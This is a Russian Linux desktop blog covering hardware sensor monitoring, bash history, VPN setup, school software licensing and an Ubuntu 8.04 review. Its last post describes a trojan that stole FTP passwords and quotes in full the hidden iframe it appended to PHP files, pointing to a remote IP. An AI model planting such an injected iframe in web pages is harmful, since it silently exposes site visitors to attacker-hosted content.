Блог об использовании Linux на десктопах и ноутбуках в России.

KSensors + lm-sensors + hddtemp = мониторинг температур и напряжений CPU, MB и HDD под Linux

На день рождения друзья мне подарили тяжелый блок питания FSP 450PNF и большой винчестер Seagate 7200.10 500Gb. Двенадцатидюймовый пропеллер БП смотрит внутрь системного блока прямо на процессор, поэтому устанавливая подарки в корпус я решил избавиться от кулера на камне, прицепив вместо него оказавшийся под рукой радиатор для северного моста Zalman NBJ-47.

Решил разобраться с настройкой сенсоров под Linux чтобы подобрать максимальную частоту процессора на которой такое железо может стабильно работать. Заодно получилось посмотреть на температуру жестких дисков.

KSensors представляет собой минималистичный GUI на QT 3 для мониторинга системы. Умеет настраивать внешний вид окошка с сенсорами, показывать значения выбранных сенсоров в трее, устанавливать тревогу. Последняя версия вышла в 2004 году. В Debian устанавливается пакетом ksensors.

Для настройки работы датчиков напряжений, температур и оборотов кулеров материнской платы и процессора нужно установить пакет lm-sensors и настроить модули ядра для микросхем датчиков. Для этого под рутом командуем sensors-detect и отвечаем на вопросы. В результате в файл /etc/modules будут записаны модули найденных контроллеров датчиков и их можно загрузить перезапуском системы или командой modprobe. Теперь если запустить KSensors, то в настройках можно включить мониторинг напряжений, оборотов кулеров и температуры материнки и процессора.

При установке KSensors пакет hddtemp рекомендуется к установке. Оказалось, это программа для просмотра температуры HDD через S.M.A.R.T, поддерживаемая KSensors. После установки пакета hddtemp посмотреть температуру винчестера hda можно командой под рутом hddtemp /dev/hda. hddtemp умеет работать демоном, отдавая температуру по tcp/ip, и писать температуру в лог. Однако эти возможности не используются KSensors. Чтобы KSensors, запущенный из под пользователя, мог запускать hddtemp под рутом, нужно настроить suid root. Проще всего для этого набрать под рутом dpkg-reconfigure hddtemp и на первый вопрос -- про suid root -- ответить да, на второй -- про запись в лог -- ответить 0, и на третий -- про демона -- ответить нет. Теперь можно добавить датчики температуры HDD в KSensors. После этого в настройках KSensors лучше поднять частоту опроса для hddtemp с 5 секунд до 30 так как при опросе что-то грузится с диска и тот потрескивает.

Измерение температур и напряжений железа в Linux с помощью KSensors, lm-sensors и hddtemp Картинка показывает, что процессор с пассивным охлаждением при просмотре DVD охлаждается нормально, новые жесткие диски горячее старых и диски одной серии с разным количеством блинов (Seagate 7200.10 на 160Gb и 500Gb) греются по-разному. Еще выяснилось что на новом БП вместо -5 Вольт напряжение -6.2 Вольта. Это вообще критично?

Блог: RU Linux

Поиск по истории команд терминала Linux

Чтоб вверх не нажимать много раз можно поискать по истории команд с помощью history | grep часть_команды. Повторить команду с заданным номером можно набрав !номер.

Еще можно нажать в консоли CTRL+R и начать вводить фразу поиска, появится первый результат поиска подстроки и найти более старую команду можно нажимая CTRL+R повторно.

Еще мне очень нравится, подсмотрел в комментариях к посту про Bash в записках о Linux, если создать в корне домашней директории пользователя файл .inputrc с таким содержимым:

set show-all-if-ambiguous On
"\e[A": history-search-backward
"\e[B": history-search-forward
set completion-ignore-case On

и перезапустить терминал, то листать стрелками вверх/вниз результаты поиска в хистори по первым буквам команд можно просто набрав эти буквы. Например хотим сделать diff который делали давно, набираем di и жмём стрелку вверх.

UPD: Говорят по умолчанию запоминается 500 команд, чтобы было больше надо в ~/.bashrc вставить:

export HISTSIZE=2000
export HISTFILE=~/.bash_history

Вставил. Посмотрим.

UPD: grep забыл: history | grep часть_команды, и пробелы до/после = в .bashrc убрать нужно.

Блог: RU Linux

Примеры настройки доступа к Интернету через VPN-соединение в KVpnc из Linux

Вчера работало, а сегодня снова полчаса потратил чтоб завести... лучше записать.

Сейчас в таганрогском общежитии живу -- готовлюсь к кандидатскому экзамену по информатике, тут все опутано сетями, в разных общагах разные люди "раздают" Интернет. Это мой первый опыт использования VPN, в теории как я понял задача VPN-соединения -- пробросить все соединения со всех портов между двумя сетями, используя одно TCP-соединение. Тут VPN-серверы все используют под Windows, соответственно понадобится установить pptp-linux и KVpnc -- GUI для разных VPN-серверов.

Соединяемся через общежитие N3

Идем в 326 комнату и просим зарегить нового пользователя и положить на счет деньги, получаем логин, пароль и IP-адрес VPN-сервера: 10.3.10.102, соединяемся с локальной сетью так, чтобы этот адрес пинговался (в моем случае я за роутером, ставим гейт 192.168.0.1 и IP-адрес вручную 192.168.0.126, DNS 213.24.19.2), дальше на этот адрес с выданным логином и паролем настраиваем pptp-соединение в KVpnc чтоб выглядело так:

Настройка VPN в Kvpnc 0.9.0 для таганрогского общежития 3

Уже должно соединяться. После соединения под рутом выполняем:
route add 10.3.10.102 gw 192.168.0.1
route add 0.0.0.0 gw 10.3.10.102

Соединяемся через общежитие N6

Адрес VPN-сервера 10.6.1.3, на https://10.6.1.3:3333/ можно посмотреть статистику, остаток денег и сменить тариф, цены дешевле (1.5 руб мегабайт днем), работает быстрее, можно соединиться из локалки ФАВТ в университете (!), настройка KVpnc чуть другая:

Настройка VPN в Kvpnc 0.9.0 для таганрогского общежития 6

После коннекта под рутом выполняем:
route add 10.6.1.3 gw 192.168.0.1
route add 0.0.0.0 gw 10.6.1.3

2008.05.29: картинки добавил.

Блог: RU Linux

Первая ПОмощь дошла до школ Краснодара

Вчера узнал новость от Алексея Оробец из ГИНМЦ. Хотя это уже и не новость вовсе, просто только сейчас диски дошли до большинства школ города. Всего более 50 дисков со всевозможным софтом, за лицензии которого для школ до 2010 года заплатило государство. По некоторым сведениям стоимость лицензий составила 5% от реальной стоимости программ. Свободное ПО вроде бы тоже есть, в частности OpenOffice. Для регистрации коммерческого ПО нужно зайти на shkola.edu.ru.

Сначала возникает недоумение, зачем 3 версии ОС (Windows 2000, XP, Vista Upgrade) и 3 версии офисного пакета (OpenOffice и MSOffice 2003 и 2007)?

Далее, при виде списка коммерческого софта, проплаченного как я понимаю для всех школ России, испытываешь противоречивые чувства. С одной стороны радостно, что в наших школах поставят ведущие коммерческие продукты для профессиональной работы в области графического дизайна (полные версии последних Adobe Creative Suite и Corel Graphics Suite и соответствующие клипарты + PaintShop Pro), разработки программного обеспечения (Borland Developer Studio, Microsoft Visual Studio 2005 Pro, SharePoint Designer 2007, Dreamweaver), проектирования (Компас 3D, Visio Professional 2007). Но с другой стороны испытываешь сомнения, что в школах есть учебные программы с использованием этих продуктов. Если есть, то уровень преподавания информатики сильно подрос с момента, когда я в школе учил кнопки на клавиатуре, двоичную систему, алгоритмы решения учебных задач и реализующие их программы на gwbasic/qbasic и turbo pascal, работу с файлами в norton commander. Я немного преподаю в университете и на наличие именно этих знаний я рассчитываю, читая лекции и проводя практику по информатике для первокурсников на факультете управления. В моем университете на факультете компьютерных технологий и прикладной математики такое ПО не используют в образовательных программах даже на старших курсах. Разве что старая версия BDS. Я бы не отказался посидеть на уроке по конструированию системы поддержки документооборота на SharePoint Designer 2007, да и просто посидеть за последней BDS тоже было бы интересно. Вернуться в школу что ли для повышения квалификации? :)

Так что проблема пиратского ПО в школах России действительно временно снята, пусть и с заметным переусердствованием. По мнению Алексея, в ближайшие 3 года, до окончания срока действия лицензий и выпуска специального российского школьного дистрибутива Linux, школы не будут проявлять интереса к свободному ПО и Linux.

Блог: RU Linux

Впечатления от Ubuntu 8.04 Hardy Heron

Выкачал DVD-версию через KTorrent, можно заказать почтой. На праздниках посмотрел. Основные причины любопытства -- в последнее время для Ubuntu быстрее появляются пакеты, чем в Debian Testing/Unstable, больше бекпортов, и еще хотелось глянуть на GVFS т.к. подумываю отказаться от KWrite и Kate в пользу Geany.

Хронические болезни дисктопных дистрибутивов Linux

1. Кодеки MP3 и MPEG2 Загружаются по сети по требованию, работает
2. Расшаривание директорий в Samba через GUI Через контекстное меню папки в Nautilus, почти работает
3. Русские шоткаты в Firefox Работают
4. ACPI Sleep на десктопе Есть, но глючит
5. Отключение напряжения от USB-флешки при отмонтировании Нет
6. Смена раскладки при отпускании сочетания клавиш а не при нажатии Нет
7. Закрытые драйвера видео в комплекте Есть, легко ставится через менеджер драйверов
8. Переключалка клавиатуры Работает хуже, чем в 7.10

Подробности в картинках

1. Установка кодеков MP3 при проигрывании потокового аудио в Ubuntu Linux 8.04 Это было в 7.10, но работало через раз, висло. Теперь лучше. Хотим например Эхо-Москвы послушать в онлайне. На картинке видно, как открывая MP3-файл во вкладке Firefox, видим закладку GStreamer-plugin, которая говорит что нет такого кодека. Плагин не умеет кодеки загружать и нужно внизу нажать кнопку, чтобы открыть MP3 в Totem, который и предложит скачать кодеки.

2. Наконец-то расшаривание работает через файловый менеджер, без правки конфигов Samba. На картинке видно, как расшаривая папку из контекстного меню автоматически устанавливается Samba usershare. Причем можно расшарить в анонимный доступ простым выставлением галки в том же диалоге. Юзабилити пока страдает -- сразу видим нелокализованное сообщение об ошибке, на котором для пользователей без гугла под рукой попытка использования Ubuntu в сети Windows закончится неудачей: "Ошибка 255 при запуске 'net usershare': cannot open usershare directory /var/lib/samba/ usershares. Error Permission Denied. ...". В этом случае нужно сделать две неочевидные вещи: убедиться что расшариваемая папка принадлежит текущему пользователю -- иначе нельзя расшарить, и после первой установки Samba usershare необходимо выйти из сессии пользователя и залогиниться заново. После этого работает. Да, кривовато, но уже что-то, лучшее решение из всех что я видел на линукс-десктопе.

3. В комплекте идет Firefox 3 beta 5, где это наконец-то исправили. Firefox производит приятное впечатления, используются родные GTK-виджеты для форм, сразу работает интеграция с Gstreamer для проигрывания всего потокового, сразу работает проверка русской орфографии в формах ввода текста, удобный журнал последних посещённых страниц, плагины от FF2 работают, по умолчанию набор шрифтов для русского языка очень хороший, ничего не надо доставлять. Т.е. Браузер идет с хорошей настройкой и локализацией по умолчанию, по крайней мере в DVD-версии Ubuntu. Из недостатков FF3 -- медленная прокрутка сложных страниц, например ящика Gmail, по сравнению с Konqueror и Opera.

4. Кнопка в Gnome есть, но компьютер засыпает вечным сном.

5. Тут все как обычно.

6. Неприятный баг в XOrg остался.

7. Nvidia-драйвер ставится одним кликом с DVD-диска через менеджер несвободных драйверов, который в этой версии Ubuntu прекрасно локализован. После установки легко включаются эффекты рабочего стола аля Vista.

8. Выбор раскладки Russian Winkeys при установке не сохраняется, раскладка неправильная, приходится добавлять winkeys снова. Кроме того, при выборе переключения раскладок через Alt-Shift через все тот-же плохо локализованный и ужасно непонятный диалог с деревом опций, не переключается через правый Alt-Shift, а только через левый.

GVFS vs KIOSlave

Самое интересное для меня в новом Gnome конечно новая система доступа к файлам GVFS, а точнее её особенность монтировать удалённые файловые системы через fuse, как обычные папки внутри /home/user/.gvfs/. Это даёт потенциальную возможность удобно работать с удалёнными файлами в программах, которые не привязаны к Gnome, например открывать файлы по FTP в Geany или по SMB в OO Writer. На деле же демон, который отвечает за fuse-монтирование, страшно глючит: если выйти и зайти под тем же пользователем, каталог ~/.gvfs пропадает, при открытии файла с FTP через Nautilus в Geany файл открывается правильно, но при первом же сохранении изменений демон умирает и файл больше нельзя сохранить. В обоих случаях смерть демона сопровождается словами "transport endpoint is not connected". Баг уже описан в https://bugs.launchpad.net/ubuntu/+source/gvfs/+bug/212789. Кроме того, сохранение через fuse-демон идёт в синхронном режиме без какого-либо диалога с кнопкой отмены и прогрессбара -- просто приложение висит пока не запишет. Еще одно неудобство -- отсутствие кеширования: если в Nautilus зайти по FTP в каталог, а потом нажать "Вверх", список файлов снова будет получаться по FTP, в отличие от Konqueror, который использует старый список пока не обновишь через F5, что сильно экономит время при работе с FTP. При открытии файла по FTP в GEdit -- редакторе с поддержкой GVFS -- файл вообще открывается в режиме "только для чтения". В общем GVFS пока сплошное разочарование и сравнивать с KIOSlave в KDE ещё рано, слишком сырое, работать с этим невозможно.

Выводы

Мои основные инструменты сломаны. Начиная с прошлой версии Ubuntu 7.10 убрали TeTeX, а с TexLive так и не подружился из за проблем с MetaPost и pdflatex. Нормально редактировать файлы по FTP невозможно. А в целом впечатления от дистрибутива положительные. Пока оставил двойной загрузкой с Debian Etch и пользуюсь Ubuntu, когда нужно поработать с графикой в новых версиях Gimp 2.4 и Inkscape 0.46. Остальное делаю в Debian.

Блог: RU Linux

Vegastrike SVN: Tagging the 0.5.0 Release ...

"Через несколько дней я буду слушать музыку в пустыне.
 Через несколько дней вы будете играть в новый релиз Vegastrike 0.5.0."
--- jacks, vegastrike.sf.net

Хоть и некогда играть, а посмотреть на долгострой хочется. Уже качаю Linux-версию.

Блог: RU Linux

Трояны крадут FTP-пароли Windows-пользователей и портят сайты

Я об этом не раз слышал от хостеров, вчера увидел на одном сайте как это работает. Называется Zeroiframe, дописывает к PHP-файлам в конец такой вот код:

 <iframe src="http://209.200.228.43/adv.html" width=1 height=1 style="visibility: hidden;"></iframe>

Хорошо, что я не пишу в PHP-код закрывающий ?> и поэтому такое дописывание iframe просто делает код неработоспособным.

Подозрение пало на трояна с компьютера сисадмина, который незадолго до инцидента подключался к хосту по FTP из Windows. Удивительно, но 1/3 посетителей этого блога все еще использует MSIE, специально для них неполенился добавить в правую колонку ахтунг-блок, с таким условием видимости на стороне сервера:

 return isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE;
Блог: RU Linux
RSS-материал